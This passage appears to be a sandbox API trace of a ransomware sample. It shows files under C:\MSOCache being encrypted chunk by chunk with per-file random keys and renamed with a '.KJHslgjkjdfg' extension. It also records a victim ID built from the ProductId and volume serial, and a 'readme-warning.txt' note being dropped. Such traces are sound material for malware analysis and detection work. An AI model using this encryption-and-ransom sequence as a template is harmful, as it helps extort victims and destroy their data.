pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0146.393] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0146.393] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0146.393] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0146.393] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0146.393] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0146.393] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0146.393] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0146.393] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0146.393] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0146.393] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.394] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x61d, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x61d, lpOverlapped=0x0) returned 1 [0146.394] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x620, dwBufLen=0x620 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x620) returned 1 [0146.394] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.394] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x620, lpOverlapped=0x0) returned 1 [0146.394] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0146.394] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x6f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.394] SetEndOfFile (hFile=0x124) returned 1 [0146.397] GetProcessHeap () returned 0x990000 [0146.397] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0146.397] GetProcessHeap () returned 0x990000 [0146.397] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0146.397] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.kjhslgjkjdfg")) returned 1 [0146.400] CloseHandle (hObject=0x124) returned 1 [0146.400] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0146.400] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0146.401] GetProcessHeap () returned 0x990000 [0146.401] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0146.401] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0146.401] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0146.401] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0146.403] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0146.404] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0146.404] GetProcessHeap () returned 0x990000 [0146.404] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0146.404] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30) returned 1 [0146.404] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0146.404] WriteFile (in: hFile=0x124, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df4f8*=0x30, lpOverlapped=0x0) returned 1 [0146.404] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0146.404] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0146.404] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0146.404] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0146.404] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0146.404] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0146.404] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0146.404] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.405] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8f8, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x8f8, lpOverlapped=0x0) returned 1 [0146.405] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x900, dwBufLen=0x900 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x900) returned 1 [0146.405] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.405] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x900, lpOverlapped=0x0) returned 1 [0146.405] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0146.405] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x9c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.405] SetEndOfFile (hFile=0x124) returned 1 [0146.408] GetProcessHeap () returned 0x990000 [0146.408] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0146.408] GetProcessHeap () returned 0x990000 [0146.408] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0146.408] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0146.408] CloseHandle (hObject=0x124) returned 1 [0146.409] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0146.409] GetProcessHeap () returned 0x990000 [0146.409] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0146.409] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0146.409] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29df330 | out: pbData=0x9af7b0, pdwDataLen=0x29df330) returned 1 [0146.409] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0146.409] GetProcessHeap () returned 0x990000 [0146.409] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0146.409] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0146.409] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29df330 | out: pbData=0x9af7f8, pdwDataLen=0x29df330) returned 1 [0146.409] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0146.409] GetProcessHeap () returned 0x990000 [0146.409] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9dc8a8 [0146.409] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0146.409] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9dc8a8, pdwDataLen=0x29df330 | out: pbData=0x9dc8a8, pdwDataLen=0x29df330) returned 1 [0146.409] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0146.409] GetProcessHeap () returned 0x990000 [0146.410] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0146.410] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0146.410] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29def10 | out: pbData=0x9af840, pdwDataLen=0x29def10) returned 1 [0146.410] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0146.410] GetProcessHeap () returned 0x990000 [0146.410] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0146.410] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0146.410] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29def10 | out: pbData=0x9b1918, pdwDataLen=0x29def10) returned 1 [0146.410] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0146.410] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29def0c | out: phkResult=0x29def0c*=0x124) returned 0x0 [0146.410] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29def18, lpcbData=0x29def14*=0x400 | out: lpType=0x0, lpData=0x29def18*=0x30, lpcbData=0x29def14*=0x18) returned 0x0 [0146.410] RegCloseKey (hKey=0x124) returned 0x0 [0146.410] GetProcessHeap () returned 0x990000 [0146.410] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0146.410] GetProcessHeap () returned 0x990000 [0146.410] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0146.410] GetProcessHeap () returned 0x990000 [0146.410] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0146.410] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0146.411] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29dece4 | out: pbData=0x9b1918, pdwDataLen=0x29dece4) returned 1 [0146.411] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0146.411] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29dece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0146.411] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29dece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29dece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0146.411] GetProcessHeap () returned 0x990000 [0146.411] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0146.411] wsprintfA (in: param_1=0x29def2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0146.411] wsprintfA (in: param_1=0x29df33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0146.411] GetProcessHeap () returned 0x990000 [0146.411] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0146.411] wsprintfW (in: param_1=0x29de30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0146.411] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0146.412] WriteFile (in: hFile=0x124, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29de308, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29de308*=0x3b3, lpOverlapped=0x0) returned 1 [0146.413] CloseHandle (hObject=0x124) returned 1 [0146.413] GetProcessHeap () returned 0x990000 [0146.413] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc8a8 | out: hHeap=0x990000) returned 1 [0146.413] GetProcessHeap () returned 0x990000 [0146.413] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0146.413] GetProcessHeap () returned 0x990000 [0146.413] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0146.413] GetProcessHeap () returned 0x990000 [0146.413] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0146.413] FindClose (in: hFindFile=0x9b6528 | out: hFindFile=0x9b6528) returned 1 [0146.413] GetProcessHeap () returned 0x990000 [0146.413] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc610 | out: hHeap=0x990000) returned 1 [0146.413] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{90140000-0018-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~2")) returned 1 [0146.414] GetProcessHeap () returned 0x990000 [0146.414] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8e) returned 0x9b2468 [0146.414] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6528 [0146.443] GetProcessHeap () returned 0x990000 [0146.443] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0146.443] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0146.443] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerPointMUI.msi", cAlternateFileName="POWERP~1.MSI")) returned 1 [0146.443] GetProcessHeap () returned 0x990000 [0146.443] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x290) returned 0x9dc610 [0146.443] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0146.443] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x29df508 | out: lpFileSize=0x29df508*=2503680) returned 1 [0146.443] GetProcessHeap () returned 0x990000 [0146.444] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0146.444] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0146.444] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.444] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0146.444] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0146.444] GetProcessHeap () returned 0x990000 [0146.444] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0146.444] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40) returned 1 [0146.444] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0146.444] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f4*=0x40, lpOverlapped=0x0) returned 1 [0146.448] WriteFile (in: hFile=0x124, lpBuffer=0x29df4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df4fc*, lpNumberOfBytesWritten=0x29df4f4*=0x4, lpOverlapped=0x0) returned 1 [0146.448] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f4*=0x10, lpOverlapped=0x0) returned 1 [0146.448] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f4*=0x80, lpOverlapped=0x0) returned 1 [0146.448] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0146.448] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f4*=0x8, lpOverlapped=0x0) returned 1 [0146.449] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0146.449] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0146.449] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0146.449] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0146.454] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0146.458] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.458] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0146.459] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2634d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.460] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0146.460] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0146.460] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0146.469] CryptEncrypt (in: 